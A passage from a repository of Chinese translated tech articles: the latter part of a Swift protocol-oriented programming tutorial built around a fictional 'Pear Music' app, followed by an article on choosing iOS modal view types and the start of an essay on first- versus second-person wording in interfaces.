App,叫做鸭梨音乐。也就是有一堆关于艺术家、专辑、歌曲和播放列表的 **model** 对象,接下来我们要构建一些**基于的标识符代码**来从网络下载这些 models(标识符已经预先载入) 实践协议最好的方式是从高等级的抽象开始。最原始的想法是我们有一个资源需要通过远端服务器 API 获取,来吧少年!开始创建一个协议 ```swift // Any entity which represents data which can be loaded from a remote source. protocol RemoteResource {} ``` 但是别急,这还只是一个空协议! `RemoteResource` 并不是用来直接部署的,他不是一份合同契约,而是一组用来执行网络请求的功能集合。因此 `RemoteResource` 真正的价值在于他的协议扩展。 ```swift extension RemoteResource { func load(url: String, completion: ((success: Bool)->())?) { print("Performing request: ", url) let task = NSURLSession.sharedSession().dataTaskWithURL(NSURL(string: url)!) { (data, response, error) -> Void in if let httpResponse = response as? NSHTTPURLResponse where error == nil && data != nil { print("Response Code: %d", httpResponse.statusCode) dataCache[url] = data if let c = completion { c(success: true) } } else { print("Request Error") if let c = completion { c(success: false) } } } task.resume() } func dataForURL(url: String) -> NSData? { // A real app would require a more robust caching solution. return dataCache[url] } } public var dataCache: [String : NSData] = [:] ``` 现在我们有一个协议,内建了从远程服务器抓取数据的功能,任何部署了该协议的对象都能自动获得这些方法。 我们有两个 API 用来和远程服务器交互,一个适用于 JSON 数据 (api.pearmusic.com),另一个适用于媒体数据 (media.pearmusic.com),为了处理这些数据,我们将针对不同的数据类型创建相应的 `RemoteResource` 子协议。 ```swift protocol JSONResource : RemoteResource { var jsonHost: String { get } var jsonPath: String { get } func processJSON(success: Bool) } protocol MediaResource : RemoteResource { var mediaHost: String { get } var mediaPath: String { get } } ``` 让我们实现这些协议 ```swift extension JSONResource { // Default host value for REST resources var jsonHost: String { return "api.pearmusic.com" } // Generate the fully qualified URL var jsonURL: String { return String(format: "http://%@%@", self.jsonHost, self.jsonPath) } // Main loading method. func loadJSON(completion: (()->())?) { self.load(self.jsonURL) { (success) -> () in // Call adopter to process the result self.processJSON(success) // Execute completion block on the main queue if let c = completion { dispatch_async(dispatch_get_main_queue(), c) } } } } ``` 我们提供了一个默认主机值,一个生成完整 URL 的请求方法,以及一个从 `RemoteResource` 载入加载资源的 `load:` 方法。我们稍后会依赖以上实现来提供正确的解析方法 `jsonPath` `MediaResource` 的实现遵循类似模式: ```swift extension MediaResource { // Default host value for media resources var mediaHost: String { return "media.pearmusic.com" } // Generate the fully qualified URL var mediaURL: String { return String(format: "http://%@%@", self.mediaHost, self.mediaPath) } // Main loading method func loadMedia(completion: (()->())?) { self.load(self.mediaURL) { (success) -> () in // Execute completion block on the main queue if let c = completion { dispatch_async(dispatch_get_main_queue(), c) } } } } ``` 你或许可能注意到了这些实现非常相似。事实上,将很多方法提升到 `RemoteResource` 层面具有非凡的意义,根据需要从子协议返回相应的主机值(host)即可。 美中不足的是,我们的协议并不是相互排斥的,我们希望有一个对象能同时满足 `JSONResource` 和 `MediaResource`。记住协议扩展是彼此相互覆盖的,除非我们采用不同的属性或方法,不然每次都是最后部署的协议才会被调用 让我们来专门研究下数据访问方法 ```swift extension JSONResource { var jsonValue: [String : AnyObject]? { do { if let d = self.dataForURL(self.jsonURL), result = try NSJSONSerialization.JSONObjectWithData(d, options: NSJSONReadingOptions.MutableContainers) as? [String : AnyObject] { return result } } catch {} return nil } } extension MediaResource { var imageValue: UIImage? { if let d = self.dataForURL(self.mediaURL) { return UIImage(data: d) } return nil } } ``` 这是一个关于协议扩展经典的例子,传统的协议会说:「我承诺我属于这种类型,具备这些特性」。而一个协议扩展则会说:「因为我有这些特性,所以我能做这些独一无二的事情」。既然 `MediaResource` 有能力访问图像数据,那么应用该协议的对象也能很轻松地提供一个 `imageValue` ,而不用考虑特定类型或上下文环境。 前面提到我们将会基于已知的标识符加载 models,所以让我们为「具有唯一标识的实体」创建一个协议 ```swift protocol Unique { var id: String! { get set } } extension Unique where Self: NSObject { // Built-in init method from a protocol! init(id: String?) { self.init() if let identifier = id { self.id = identifier } else { self.id = NSUUID().UUIDString } } } // Bonus: Make sure Unique adopters are comparable. func ==(lhs: Unique, rhs: Unique) -> Bool { return lhs.id == rhs.id } extension NSObjectProtocol where Self: Unique { func isEqual(object: AnyObject?) -> Bool { if let o = object as? Unique { return o.id == self.id } return false } } ``` 由于不能在扩展 extension 中创建存储属性,我们还是需要依赖遵守 `Unique` 协议的对象来声明`id` 属性。加之,你或许注意到了我仅在 `Self: NSObject` 时扩展了 `Unique`,否则,我们不能调用 `self.init()`,这是因为没有他的声明。一个变通的解决方案就是在该协议中声明一个 `init()` ,但是需要遵守协议的对象来显式实现他, 因为我们所有的 models 都是基于 `NSObject`的,所幸这并不成问题。 好了,我们已经得到了一个从网络获取资源的基本方案,让我们开始创建遵守这些协议的 models。下面是我们的 `Song` 模型的样子: ```swift class Song : NSObject, JSONResource, Unique { // MARK: - Metadata var title: String? var artist: String? var streamURL: String? var duration: NSNumber? var imageURL: String? // MARK: - Unique var id: String! } ``` 等等,`JSONResource` 的实现在哪里? 相比直接在类中实现 `JSONResource`,我们可以使用条件协议扩展来代替,这会让我们有能力将所有基于 `RemoteResource` 的逻辑代码组织整合在一起,这样调整起来更方便,也使 model 实现更清晰。因此除了 `RemoteResource` 逻辑之前的代码外,我们将下面的代码放进 `RemoteResource.swift` 文件, ```swift extension JSONResource where Self: Song { var jsonPath: String { return String(format: "/songs/%@", self.id) } func processJSON(success: Bool) { if let json = self.jsonValue where success { self.title = json["title"] as? String ?? "" self.artist = json["artist"] as? String ?? "" self.streamURL = json["url"] as? String ?? "" self.duration = json["duration"] as? NSNumber ?? 0 } } } ``` 将所有与 `RemoteResource` 相关的代码整合在同一个位置好处多多。首先在同一个地方完成协议实现,扩展的作用域很清晰。当声明一个将要扩展的协议时,我建议将扩展代码和声明的协议放在同一文件中 下面是加载歌曲 `Song` 的实现,多亏了 `JSONResource` 和 `Unique` 协议扩展 ```swift let s = Song(id: "abcd12345") let artistLabel = UILabel() s.loadJSON { (success) -> () in artistLabel.text = s.artist } ``` 我们的歌曲 `Song` 对象是一些元数据的简单封装,他本该如此,所有的苦差事都应交给协议扩展去做。 下面例子中的 `Playlist` 对象同时遵守了 `JSONResource` 和 `MediaResource` 协议 ```swift class Playlist: NSObject, JSONResource, MediaResource, Unique { // MARK: - Metadata var title: String? var createdBy: String? var songs: [Song]? // MARK: - Unique var id: String! } extension JSONResource where Self: Playlist { var jsonPath: String { return String(format: "/playlists/%@", self.id) } func processJSON(success: Bool) { if let json = self.jsonValue where success { self.title = json["title"] as? String ?? "" self.createdBy = json["createdBy"] as? String ?? "" // etc... } } } ``` 在我们盲目地为 `Playlist` 实现 `MediaResource` 之前,先回退一步,我们注意到我们的媒体 API 只需要远端的标识,并没有指定协议应用者的类型,这就意味只要我们知道标识符,我们就能构建 `mediaPath`。让我们使用一个 `where` 从句来限定 `MediaResource` 聪明到只在 `Unique` 下工作 ```swift extension MediaResource where Self: Unique { var mediaPath: String { return String(format: "/images/%@", self.id) } } ``` 因为 `Playlist` 已经遵循了 `Unique`,因此我们不需要再做字面上的处理,就可以和 `MediaResource` 一起愉快地工作!同样的逻辑反过来也成立(遵循了 `MediaResource`,也必然适配于 `Unique` 协议),即只要对象的标识对应媒体 API 中的一张图片,就能正常工作。(创建 `mediaPath`) 下面演示如何载入 `Playlist` 图像 ```swift let p = Playlist(id: "abcd12345") let playlistImageView = UIImageView(frame: CGRectMake(0.0, 0.0, 200.0, 200.0)) p.loadMedia { () -> () in playlistImageView.image = p.imageValue } ``` 我们现在拥有一种通用方式来定义远程资源,能够被程序中的任意实体使用,而不仅仅局限于这些模型对象。我们能够很方便地扩展 `RemoteResource` 来处理不同类型的 REST 操作,并针对更多的数据类型添加额外的子协议。 ### 数据格式化的协议 现在我们已经构造了一种加载模型对象的方式,继续深入到下一个阶段吧。我们需要格式化来自对象的元数据,并以一致的方式显示在用户面前。 鸭梨音乐是一个大工程,拥有相当数量不同类型的模型,每一个模型都可能在不同位置显示。比如,如果我们有一个以 `Artist` 为标题的 view controller,我们会只显示艺术家名字 {name}。但是,如果我们拥有额外的空间,比如一个存在 `UITableViewCell`,我们就会使用 "{name} ({instrument})"。再进一步,如果在 `UILabel` 里有更大空间,则会使用 "{name} ({instrument}) {bio}"。 虽然将这些格式化代码放到 view controllers, cells 和 labels 中也可以正常工作,但是如果我们能将这些分散的逻辑提取出来供整个 app 使用,会提高整个应用的可维护性。 我们可以将字符串格式化代码就放在模型对象中,但当我们真要显示字符串时,需要确定 model 的类型。 我们可以在基类中定义一些便利方法,然后每个子类模型都提供自己的格式化方法,但是在面向协议编程中,我们应该思考更加通用的方式。 让我们将这种想法抽象成另一个协议,指定一些可以表现为字符串的实体。然后将会针对各种 UI 方案,提供不同长度的字符串 ```swift // Any entity which can be represented as a string of varying lengths. protocol StringRepresentable { var shortString: String { get } var mediumString: String { get } var longString: String { get } } // Bonus: Make sure StringRepresentable adopters are printed descriptively to the console. extension NSObjectProtocol where Self: StringRepresentable { var description: String { return self.longString } } ``` 足够简单吧,这里还有几个模型对象,我们将他们变成 `StringRepresentable`: ```swift class Artist : NSObject, StringRepresentable { var name: String! var instrument: String! var bio: String! } class Album : NSObject, StringRepresentable { var title: String! var artist: Artist! var tracks: Int! } ``` 类似于在 `RemoteResource` 中我们的实现,我们将所有的格式化逻辑放进单独的 `StringRepresentable.swift` 文件。 ```swift extension StringRepresentable where Self: Artist { var shortString: String { return self.name } var mediumString: String { return String(format: "%@ (%@)", self.name, self.instrument) } var longString: String { return String(format: "%@ (%@), %@", self.name, self.instrument, self.bio) } } extension StringRepresentable where Self: Album { var shortString: String { return self.title } var mediumString: String { return String(format: "%@ (%d Tracks)", self.title, self.tracks) } var longString: String { return String(format: "%@, an Album by %@ (%d Tracks)", self.title, self.artist.name, self.tracks) } } ``` 至此,我们已经处理了各种格式。现在我们需要针对特定的 UI 来显示对应的字符串。基于这种通用的方式,让我们定义一种行为,将满足了 `StringRepresentable` 协议的对象显示在屏幕上,在该协议提供了 `containerSize` 和 `containerFont` 用来计算。 ```swift protocol StringDisplay { var containerSize: CGSize { get } var containerFont: UIFont { get } func assignString(str: String) } ``` 我推荐在协议中只声明方法,而具体实现放到遵循协议的对象中。在协议扩展中,我们将添加真正的实现代码。`displayStringValue:` 方法会决定哪个字符串会被使用,然后传递给指定类型的 `assignString:` 方法 ```swift extension StringDisplay { func displayStringValue(obj: StringRepresentable) { // Determine the longest string which can fit within the containerSize, then assign it. if self.stringWithin(obj.longString) { self.assignString(obj.longString) } else if self.stringWithin(obj.mediumString) { self.assignString(obj.mediumString) } else { self.assignString(obj.shortString) } } #pragma mark - Helper Methods func sizeWithString(str: String) -> CGSize { return (str as NSString).boundingRectWithSize(CGSizeMake(self.containerSize.width, .max), options: .UsesLineFragmentOrigin, attributes: [NSFontAttributeName: self.containerFont], context: nil).size } private func stringWithin(str: String) -> Bool { return self.sizeWithString(str).height <= self.containerSize.height } } ``` 现在我们有一个遵守 `StringRepresentable` 协议的模型对象,还拥有可以自动选择字符串的协议。此协议一旦成功部署,会自动帮助我们选择正确的字符串,那么接下来该如何整合进 UIKit 中呢? 先拿最简单的 `UILabel` 开刀吧。传统的方式是创建 `UILabel` 的子类,然后部署该协议,接下来在需要使用 `StringRepresentable` 的地方使用这个自定义的 `UILabel`。但更好的选择是使用一个指定类型(UILable 类)的扩展让所有的 `UILabel` 实例自动部署 `StringDisplay` 协议: >这种方式就不需要创建 `UILable` 的子类了 ```swift extension UILabel : StringDisplay { var containerSize: CGSize { return self.frame.size } var containerFont: UIFont { return self.font } func assignString(str: String) { self.text = str } } ``` 就是这么简单,对于其他的 UIKit 类,我们可以做同样的事情,只要满足 `StringDisplay` 协议就能正常工作了,是不是很神奇呢? ```swift extension UITableViewCell : StringDisplay { var containerSize: CGSize { return self.textLabel!.frame.size } var containerFont: UIFont { return self.textLabel!.font } func assignString(str: String) { self.textLabel!.text = str } } extension UIButton : StringDisplay { var containerSize: CGSize { return self.frame.size} var containerFont: UIFont { return self.titleLabel!.font } func assignString(str: String) { self.setTitle(str, forState: .Normal) } } extension UIViewController : StringDisplay { var containerSize: CGSize { return self.navigationController!.navigationBar.frame.size } var containerFont: UIFont { return UIFont(name: "HelveticaNeue-Medium", size: 34.0)! } // default UINavigationBar title font func assignString(str: String) { self.title = str } } ``` 下面我们来看看以上实现在真实世界的样子,先声明一个 `Artist` 对象,已经部署了 `StringRepresentable` 协议。 ```swift let a = Artist() a.name = "Bob Marley" a.instrument = "Guitar / Vocals" a.bio = "Every little thing's gonna be alright." ``` 因为 `UIButton` 的所有实例都通过扩展的方式部署了 `StringDisplay` 协议,妈妈再也不用担心我们直接调用他们的 `displayStringValue:` 方法了 ```swift let smallButton = UIButton(frame: CGRectMake(0.0, 0.0, 120.0, 40.0)) smallButton.displayStringValue(a) print(smallButton.titleLabel!.text) // 'Bob Marley' let mediumButton = UIButton(frame: CGRectMake(0.0, 0.0, 300.0, 40.0)) mediumButton.displayStringValue(a) print(mediumButton.titleLabel!.text) // 'Bob Marley (Guitar / Vocals)' ``` 按钮现可以根据自身 frame 大小灵活显示标题了。 当用户点击一个 `Album` 唱片,我们为其压栈(push)一个 `AlbumDetailsViewController`。此刻我们的协议能够依照协定找到一个合适字符串作为导航栏标题。这是因为在 `StringDisplay` 协议扩展中的定义,`UINavigationBar` 会在 iPad 上显示长的标题,而在 iPhone 上显示短标题。 ```swift class AlbumDetailsViewController : UIViewController { var album: Album! override func viewWillAppear(animated: Bool) { super.viewWillAppear(animated) // Display the right string based on the nav bar width. self.displayStringValue(self.album) } } ``` 我们可以将模型 models 中有关字符串格式化的代码全部集中转移到一个协议扩展里面,之后再根据具体的 UI 元素灵活显示。这种模式可以在将来的模型对象上重复使用,应用在各种 UI 元素上。此外这种协议具备良好的扩展性,还可以推广到更多非 UI 的场景。 ### 在样式中使用协议 (V) 我们已经完成了用协议扩展对模型、格式化字符串的改造,现在让我们来看一个纯粹的前端示例,学习下协议扩展如何增强我们的UI开发 我们可以将协议看做类似于 CSS 的东西,并且使用他们来定义我们 UIKit 对象的样式。通过部署这些样式协议,来自动更新显示外观。 首先,我们将定义一个基础协议,用来表示一个应用样式的实体;声明一个方法,用于最终的应用样式。 ```swift // Any entity which supports protocol-based styling. protocol Styled { func updateStyles() } ``` 接着我们将会创建一些子协议,这些协议会定义各种类型的样式。 ```swift protocol BackgroundColor : Styled { var color: UIColor { get } } protocol FontWeight : Styled { var size: CGFloat { get } var bold: Bool { get } } ``` 我们让这些子协议继承自 `Styled`,这样遵守这些子协议的对象就不用再显式调用了。 现在我们可以将具体的样式分类,并使用协议扩展返回需要的值。 ```swift protocol BackgroundColor_Purple : BackgroundColor {} extension BackgroundColor_Purple { var color: UIColor { return UIColor.purpleColor() } } protocol FontWeight_H1 : FontWeight {} extension FontWeight_H1 { var size: CGFloat { return 24.0 } var bold: Bool { return true } } ``` 剩下的事情就是基于具体的 UIKit 元素类型,实现 `updateStyles` 方法。我们将使用指定类型的扩展让所有的 `UITableViewCell` 实例都遵从 `Styled` 协议 ```swift extension UITableViewCell : Styled { func updateStyles() { if let s = self as? BackgroundColor { self.backgroundColor = s.color self.textLabel?.textColor = .whiteColor() } if let s = self as? FontWeight { self.textLabel?.font = (s.bold) ? UIFont.boldSystemFontOfSize(s.size) : UIFont.systemFontOfSize(s.size) } } } ``` 为了确保 `updateStyles` 会被自动调用,我们将在扩展中重载 `awakeFromNib` 方法。有些童鞋可能会好奇,这种重载操作实际是插入到继承链中,就如同扩展是 `UITableViewCell` 自身的直接子类。在 `UITableViewCell` 的子类中调用 `super`,之后就可以直接调用 `updateStyles` 了。 ```swift public override func awakeFromNib() { super.awakeFromNib() self.updateStyles() } } ``` 现在我们创建了自己的 cell,接下来就可以部署我们需要的样式了 ```swift class PurpleHeaderCell : UITableViewCell, BackgroundColor_Purple, FontWeight_H1 {} ``` 我们已经在 UIKit 元素上创建了类似于 CSS 样式风格的声明。使用协议扩展,我们甚至可以为 UIKit 山寨一个 Bootstrap 样式。这种方式可以在很多场景下都能增强我们的开发体验,特别是在应用开发中,当拥有数量繁多的视觉元素,且样式高度动态时尤其有用。 想象一下,一个 App 拥有 20 个以上不同的 view controllers,每个都遵守 2~3 个通用的视觉样式,比起强迫我们创建一个基类或使用一组数量持续增长的全局方法来定义样式,现在仅需要遵守一些样式协议,然后顺手实现就好。 ## 我们得到了什么? 我们目前为止做了很多有趣的事情,那么通过使用协议和协议扩展我们最终得到了什么?可能有人觉得我们跟本没必要创建这么多协议。 >面向协议编程并不完美匹配所有基于 UI 的场景。 当我们需要在应用中添加共享代码和通用的功能时,协议和协议扩展将变得非常有价值。并且代码的组织结构也更加清晰有条理。 随着数据类型的增多,协议就越能发挥其用武之地。特别是当 UI 需要显示多种格式的信息时,使用协议会让我们身轻如燕。但是这并不意味着我们需要添加六个协议和一大堆扩展,只是为了让一个紫色的单元格显示一个艺术家的名字。 让我们扩充鸭梨音乐场景,来见识一下「面向协议编程」真正的价值所在。 ## 添加复杂度 我们已经在 Pear Music 上下了很大功夫,现在拥有界面美观的专辑列表、艺术家、歌曲和播放列表,我们还使用了美妙的协议和协议扩展来优化 MVC 的原有结构。现在鸭梨公司 CEO 要求我们构建鸭梨音乐 2.0 的版本,希望可以和 Apple Music 一争高下。 我们需要一项酷炫的新特性来脱颖而出,经过头脑风暴后,我们决定添加:「长按预览」这个新特性。听上去是个大胆的创意,我们的 Jony Ive(黑的漂亮)似乎已经在摄像机前娓娓而谈了。让我们使用面向协议编程配合 UIKit 来完成任务。 ### 创建 Modal Page 下面来阐述下新特性的工作原理,当用户**长按**艺术家、专辑、歌曲或播放列表时,一个模态视图会以动画的形式出现在屏幕上,展示从网络载入的条目图像,以及描述信息和一个 Facebook 分享按钮。 我们先来构建一个 `UIViewController`,用做用户长按手势后的模态展示的 VC。从一开始我们就能让初始化方法更加通用,传入的参数仅需遵守 `StringRepresentable` 和 `MediaResource` 即可。 ```swift class PreviewController: UIViewController { @IBOutlet weak var descriptionLabel: UILabel! @IBOutlet weak var imageView: UIImageView! // The main model object which we're displaying var modelObject: protocol! init(previewObject: protocol) { self.modelObject = previewObject super.init(nibName: "PreviewController", bundle: NSBundle.mainBundle()) } } ``` 下一步,我们可以使用内建的协议扩展方法分配数据给我们的 `descriptionLabel` 和 `imageView` ```swift override func viewDidLoad() { super.viewDidLoad() // Apply string representations to our label. Will use the string which fits into our descLabel. self.descriptionLabel.displayStringValue(self.modelObject) // Load MediaResource image from the network if needed if self.modelObject.imageValue == nil { self.modelObject.loadMedia { () -> () in self.imageView.image = self.modelObject.imageValue } } else { self.imageView.image = self.modelObject.imageValue } } ``` 最后,我们可以使用相同的方法来从 Facebook 函数获取元数据 ```swift // Called when tapping the Facebook share button. @IBAction func tapShareButton(sender: UIButton) { if SLComposeViewController.isAvailableForServiceType(SLServiceTypeFacebook) { let vc = SLComposeViewController(forServiceType: SLServiceTypeFacebook) // Use StringRepresentable.shortString in the title let post = String(format: "Check out %@ on Pear Music 2.0!", self.modelObject.shortString) vc.setInitialText(post) // Use the MediaResource url to link to let url = String(self.modelObject.mediaURL) vc.addURL(NSURL(string: url)) // Add the entity's image vc.addImage(self.modelObject.imageValue!); self.presentViewController(vc, animated: true, completion: nil) } } } ``` 我们已经收获了许多协议,没有他们,我们或许要在 `PreviewController` 中根据不同的类型,分别创建初始化方法。通过协议的方式,不仅保持了 view controller 的绝对简洁,还保证了其在未来的可扩展性。 最后只剩一个轻量级的、清爽的 `PreviewController`,可以接受一个 `Artist`, `Album`, `Song`, `Playlist` 或任意匹配了我们协议的 **model**。`PreviewController` 没有一行关于特定模型的代码。 ### 集成第三方代码 当我们使用协议和协议扩展构建 `PreviewController` 时,这里还有最后一个特别棒的应用场景。我们融入了一个新的框架,该框架在我们的 App 中可以用来载入音乐家的 Twitter 信息。我们想要在主页面显示 tweets 列表,通常会指定一个 model 对象对应一条 tweet: ```swift class TweetObject { var favorite_count: Int! var retweet_count: Int! var text: String! var user_name: String! var profile_image_id: String! } ``` 我们并不拥有此代码,也不能修改 `TweetObject`,但我们仍然想要用户通过长按手势,在`PreviewController` UI 上来预览这些 tweets。而我们所要做的就是扩展这些现有协议。 ```swift extension TweetObject : StringRepresentable, MediaResource { // MARK: - MediaResource var mediaHost: String { return "api.twitter.com" } var mediaPath: String { return String(format: "/images/%@", self.profile_image_id) } // MARK: - StringRepresentable var shortString: String { return self.user_name } var mediumString: String { return String(format: "%@ (%d Retweets)", self.user_name, self.retweet_count) } var longString: String { return String(format: "%@ Wrote: %@", self.user_name, self.text) } } ``` 现在我们可以传递一个 `TweetObject` 到我们的 `PreviewController` 中,对于 `PreviewController` 来讲,他甚至不知道我们正在工作的外部框架 ```swift let tweet = TweetObject() let vc = PreviewController(previewObject: tweet) ``` ## 课程总结 在 WWDC 2015 的开发者大会上,苹果官方推荐使用协议来替代类,但是我认为这条规则忽视了协议扩展工作在某些重型框架(UIKit)下的局限性。只有当协议扩展被广泛使用,而且不需要考虑遗产代码时,才能发挥他的威力。虽然最初的例子看上去较为琐碎,但随时间的增长,应用的尺寸和复杂度都会成倍增长,这种通用设计就会变得格外有效。 这是一个代码解释性的成本收益问题。在一个的 UI 占大头的大型应用中,协议 & 扩展并不那么实用。如果你有一个单独的页面只展示一种类型的信息(今后也不会改变),那么就不要考虑用协议来实现了。但是如果你的应用界面在不同的视觉样式、表现风格间游走,那么将协议和协议扩展作为连接数据和外观之间的桥梁是极其有用的,你会在未来的开发中受益匪浅。 最后,我并不是想把协议看成一种银弹,而是将其看做是在某些开发场景中的一把利器。尽管如此,面向协议编程都是值得开发者们学习的--只有你真正按照协议的方式,重新审视、重构之前的代码,才能体会其中的精妙之处。 如果你有任何问题,或想了解更多的细节,请务必联系我 [email](mailto:ttillage@captechconsulting.com) ,这是我的 [Twitter](https://twitter.com/ttillage)! ================================================ FILE: TODO/ios-custom-modality.md ================================================ > * 原文地址:[iOS: Custom Modality](https://medium.com/@_kolodziejczyk/ios-custom-modality-a193c293d4d6#.b2d4uj1bt) * 原文作者:[Kamil Kołodziejczyk](https://twitter.com/_kolodziejczyk) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[zhouzihanntu](https://github.com/zhouzihanntu) * 校对者:[Gocy](https://github.com/Gocy015)、[Mark](https://github.com/marcmoore) --- # iOS: 自定义 Modal 视图 ## Modal 视图越来越多样化,连 Apple 官方人机交互指南都没法三言两语解释清楚。我们又该如何从海量的选择中作出决定呢? ![](https://cdn-images-1.medium.com/max/2000/1*LPXhF6DNBVu8qz4P-sHZTA.png) 当开发者们询问我如何选择视图类型时,我是震惊的。我不得不反复地思考这个问题以及我会选择的解决方案。有趣的是,当发现对视图的选择往往与美学无关时,他们常常会感到惊讶。 我推荐大家去看**iOS 人机交互设计指南**里关于 [Modal 视图](https://developer.apple.com/ios/human-interface-guidelines/interaction/modality/) 的介绍,这是关于 modal 话题的很棒的参考资料。但最近有个朋友和我说,这篇文章的内容还不能满足他的要求。 出于好奇,我查询了各种现有的样式,来看看究竟有多少不同的种类。他是对的,这篇文章的内容确实不够完整。 那么哪种 modal 才是最好的选择呢?我列了一个清单,也许对你做决定有帮助。下面就来看看吧。 ### 类型 Modal 是一种使用户从当前工作流中转换到另一个界面,去做一些选择或完成某些任务的视图。当我们需要用户保持注意时它们是最好的工具。 > 与导航控制器这种注重内容和视图层级的视图不同,modal 总是为了某项特定任务而存在。 现在有很多类型的 modal ,它们可能覆盖整个屏幕或屏幕的一部分,也可能显示在屏幕中央或固定在屏幕顶部或底部。有时它们以弹出框的方式出现,有时又从一侧滑出。 **这的确令人困惑。** 在做决定之前你需要考虑一些事。我的经验是先确定视图是让人们**选择**一项任务还是**完成**一项任务。 ### **选择器类** 这类 modal 要求你做出一个选择后才能继续操作。它可以是一个警告,或者一个让你指定你下一步操作或选择模式的对话框。 ![](https://cdn-images-1.medium.com/max/800/1*llj4coNsU1kwsUIdBgeNAA.png) - **操作列表** 是显示多个操作选项的最好方式。如果你除了列表没有太多额外需要展示的东西的话,这是个安全的选择。 - **弹出框** 可以应用在之前视图的上下文比较重要的场景,弹出框的箭头在解释视图之间的关系上发挥了很好的作用。 - 如果你要提问或者从用户处获取权限, 最好使用**警告框**。 你可能注意到了以上介绍的视图都没有覆盖到整个屏幕,因为他们应该被**快速使用**,用户选择完就立刻回到之前的界面。 ### **操作类** 这类 modal 是为了完成功能任务的,它们适用于添加、编辑等所有复杂的任务场景。 **全屏视图** ![](https://cdn-images-1.medium.com/max/800/1*xu_NhNyGVRNfMl2a0ztL_Q.png) 全屏视图是最常见的 modal 。通过覆盖整个屏幕来引起用户的充分注意,为可能包含多个步骤的复杂任务而设计。 一般情况下,使用全屏视图需要遵守以下两点: - 完成性操作 (**完成**/**保存**/**关闭**) 总在视图右上角 - 取消性操作 (**取消**) 应该在视图左上角 **非全屏视图** 有的时候你可能会有一些功能影响到部分主视图,在这种情况下最好让主视图作为背景显示。 这样人们就会立刻明白这个 modal 的作用。 ![](https://cdn-images-1.medium.com/max/800/1*i4OTZP-ESmIxde2sELE1SA.png) 如果你选择使用非全屏视图的话, 你还要额外考虑两件事: - **选择合适的过渡方式** 如果一个视图和屏幕上方的内容相关,那就让 modal 从那里滑出。让 modal 以用户可预见的方式出现会令应用的使用体验加分。 - **添加手势关闭操作** 当 modal 以动画形式出现时,人们通常会用与动画过程相反的手势去关闭它(**例如: 把放大的视图缩小**)。对这一操作的支持会让这个应用使用起来更加和谐。 还有一种比较特殊的情况。有时候有些功能可能涉及之前视图的某个部分,这时候也同样可以使用弹窗方式实现。 --- Modal 是个非常有用的工具。刚开始接触可能会比较难理解,但是只要你在你的 app 上实践过,再用起来就会快速和简单很多。 如果你还是决定不了选择哪种 modal ,我准备了一个流程图,你可以把它当做快速参考。 ![](https://cdn-images-1.medium.com/max/1000/1*xmvX16jk_E5mxxYDPnAt9Q.png) 希望对你有帮助! ================================================ FILE: TODO/is-this-my-interface-or-yours.md ================================================ > * 原文地址:[Is this my interface or yours?](https://medium.com/@jsaito/is-this-my-interface-or-yours-b09a7a795256?ref=uxdesignweekly#.8o975gug5) * 原文作者:[John Saito](https://medium.com/@jsaito) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [jiaowoyongqi](https://github.com/jiaowoyongqi) * 校对者:[siegeout](https://github.com/siegeout),[rottenpen](https://github.com/rottenpen) # 该叫「我的电脑」还是「你的电脑」? ![](http://ac-Myg6wSTV.clouddn.com/e7eaa2962041cea90b7d.png) ### “我的电脑”的变化历程 还记得以前使用 Windows 系统时**我的电脑**的图标吗?这个经典的小图标表示你在这台电脑上拥有的所有文件,所有的项目、工作资料以及各种数据等等。 而微软将最新 Windows 系统中的这个图标更名为**”电脑“(Computer)**,然后又将之改成**”本机“(This PC)**。这样的修改是否因为“我的”这个用法给人带来了理解的误导、语义的不协调或者是根本没有必要存在? ![](http://ac-Myg6wSTV.clouddn.com/9f40f8dab57be150e24d.png) 这样小小的修改使我思考这样一个问题:为什么在称呼用户所属数据信息的时候,有些产品使用**第一人称**用法,而有些产品使用**第二人称**用法? ### 你如何称呼自己的数据信息? 打开不同的 App ,发现在用户界面里提及到称呼用户所属的数据信息时,并没有一个统一的用法,有些称之为**“我的”第一人称**用法,有些称之为**“你的”第二人称**用法。 ![](http://ac-Myg6wSTV.clouddn.com/84f0c5fff22419f007be.png) YouTube 和 Google 硬盘使用第一人称用法,而 Spotify 和亚马逊则用第二人称用法。 那当你在做设计考虑到这个问题的时候,是该基于用户的立场还是基于产品的立场呢?我认为两者有细微的区别,如何使用都取决于你打算让用户在使用产品时得到什么样的体验。 ### 第一人称用法 当你在界面上使用第一人称时,这就暗示着产品是用户的延展。就好像这个产品是用户行为的一部分。第一人称用法更为私人,就像用户可以自定义,自由掌控的感觉。 但通常来说,第一人称用法更适合那些强调隐私化、个人化以及拥有感的产品。也许这就是**”我的电脑“**这个称呼使用多年的原因。在过去,电脑是用户独自使用的,通常不会共享文件,用户所有的私人资料都十分安全的保存在这个小小图标里。 ![](http://ac-Myg6wSTV.clouddn.com/5691db77eef2145c2945.png) 我的,全是我的! ### 第二人称用法 而在界面上使用第二人称,这暗示着产品在跟用户交流。就好像产品是用户的私人助手,帮助完成任务一样。“这是您想听的音乐,这是您的命令。” 但是通常来说,第二人称更适合那些希望给用户带来悉心指导的产品,可以指引帮助用户完成任务。是不是该交账单了?该赴约了?该填写税单表格了?许多产品都在帮助用户更高效、更聪明、更简单地完成任务。 现在许多产品还会以私人助手的身份与你交流。他们还有自己的名字,比如 Siri、Alexa 和 Cortana。他们帮你记备忘、提醒你买牛奶甚至大声帮你念出邮件的内容。 ![](http://ac-Myg6wSTV.clouddn.com/184c47d0c20f90331d4d.png) 嘿,Siri,你能帮我换宝宝的尿布吗? 许多其他的 App,包括 Medium,会推荐给你许多精选的内容。在我看来,就好像一个私人助手双手抵上今天精心挑选的故事供我阅读一样。我认为未来这个范围将会变得越来越广,我们也将会看到越来越多的产品使用第一人称用法。 ### 不使用以上两者的用法 正如设计的其他方面一样,这里没有一劳永逸的解决办法。但是还有一种设计方案,就是现在许多产品会在称呼属于用户的数据信息的时候,都会省去“我的”或“你的”。 ![](http://ac-Myg6wSTV.clouddn.com/89120ffe78da8e1218fb.png) 这里没有使用第一人称或者第二人称。 也许把“我的”给去掉的原因,就跟 Windows 把**“我的电脑”**改为**“电脑”**一样。 但很可惜,不使用第一第二人称并不是100%适用于所以的设计。有时候确实需要将用户的内容和其他的内容作出区分。例如 YouTube,你不能只是称之为“频道”,因为这样就不指导这是用户自己的频道,还是订阅的频道,还是 YouTube推荐的频道。 ![](http://ac-Myg6wSTV.clouddn.com/a5df4efc05ea9c479222.png) 